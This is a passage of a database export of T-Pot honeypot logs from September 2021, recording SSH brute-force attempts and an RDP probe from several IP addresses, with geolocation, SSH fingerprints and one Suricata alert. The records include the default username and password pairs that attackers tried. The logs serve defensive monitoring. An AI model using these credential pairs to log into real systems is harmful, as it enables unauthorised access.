"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26622	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:44.489535+03	2021-09-20 14:15:13.515674+03	{"_id": "YwboAnwBvYTbRNuEhSLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47326, "timestamp": "2021-09-20T11:12:44.489535", "@timestamp": "2021-09-20T11:12:44.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26629	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:48.575701+03	2021-09-20 14:15:13.524674+03	{"_id": "hwboAnwBvYTbRNuElCJs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1196369258767021, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55102, "dest_port": 22, "timestamp": "2021-09-20T11:12:48.575701Z", "@timestamp": "2021-09-20T11:12:48.575Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26623	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:12:45.876044+03	2021-09-20 14:15:13.516647+03	{"_id": "bQboAnwBvYTbRNuEiCKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:45.134279+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1495189460683911, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58310, "dest_port": 3389, "timestamp": "2021-09-20T11:12:45.876044Z", "@timestamp": "2021-09-20T11:12:45.876Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26624	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:45.65569+03	2021-09-20 14:15:13.517674+03	{"_id": "cgboAnwBvYTbRNuEiiKC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 67 seconds", "session": "3325e692de3e", "@version": "1", "duration": 67.46948313713074, "timestamp": "2021-09-20T11:12:45.655690Z", "@timestamp": "2021-09-20T11:12:45.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26625	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:45.825259+03	2021-09-20 14:15:13.519647+03	{"_id": "cwboAnwBvYTbRNuEiiKC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/password1] failed", "session": "f48de0094635", "@version": "1", "password": "password1", "username": "admin", "timestamp": "2021-09-20T11:12:45.825259Z", "@timestamp": "2021-09-20T11:12:45.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26626	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:46.636644+03	2021-09-20 14:15:13.520677+03	{"_id": "dgboAnwBvYTbRNuEjiJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [adminpldt/1234567890] failed", "session": "65a273a4b973", "@version": "1", "password": "1234567890", "username": "adminpldt", "timestamp": "2021-09-20T11:12:46.636644Z", "@timestamp": "2021-09-20T11:12:46.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26627	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:48.300458+03	2021-09-20 14:15:13.522647+03	{"_id": "gQboAnwBvYTbRNuEkiJV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:55102 (192.168.176.2:22) [session: d1a740f717f8]", "session": "d1a740f717f8", "@version": "1", "protocol": "ssh", "src_port": 55102, "dest_port": 22, "timestamp": "2021-09-20T11:12:48.300458Z", "@timestamp": "2021-09-20T11:12:48.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26628	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:48.408773+03	2021-09-20 14:15:13.523679+03	{"_id": "gAboAnwBvYTbRNuEkiJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d1a740f717f8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:48.408773Z", "@timestamp": "2021-09-20T11:12:48.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26630	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:12:48.815371+03	2021-09-20 14:15:13.525677+03	{"_id": "iQboAnwBvYTbRNuElSKU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53936, "dest_port": 22, "timestamp": "2021-09-20T11:12:48.815371", "@timestamp": "2021-09-20T11:12:48.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26631	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:36.206473+03	2021-09-20 14:15:13.527648+03	{"_id": "MgboAnwBvYTbRNuEZSKF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1508604790431890, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33220, "dest_port": 22, "timestamp": "2021-09-20T11:12:36.206473Z", "@timestamp": "2021-09-20T11:12:36.206Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26632	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:36.229317+03	2021-09-20 14:15:13.528675+03	{"_id": "MwboAnwBvYTbRNuEZiKt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33220, "dest_port": 22, "timestamp": "2021-09-20T11:12:36.229317", "@timestamp": "2021-09-20T11:12:36.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26633	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:37.007571+03	2021-09-20 14:15:13.529646+03	{"_id": "NAboAnwBvYTbRNuEZyJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [git/password] failed", "session": "01cb298fd466", "@version": "1", "password": "password", "username": "git", "timestamp": "2021-09-20T11:12:37.007571Z", "@timestamp": "2021-09-20T11:12:37.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26634	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:48.575845+03	2021-09-20 14:15:13.530674+03	{"_id": "iwboAnwBvYTbRNuElSKV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55102, "timestamp": "2021-09-20T11:12:48.575845", "@timestamp": "2021-09-20T11:12:48.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26635	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:49.419746+03	2021-09-20 14:15:13.532647+03	{"_id": "mAboAnwBvYTbRNuEmCJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1076374314951189, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36986, "dest_port": 22, "timestamp": "2021-09-20T11:12:49.419746Z", "@timestamp": "2021-09-20T11:12:49.419Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
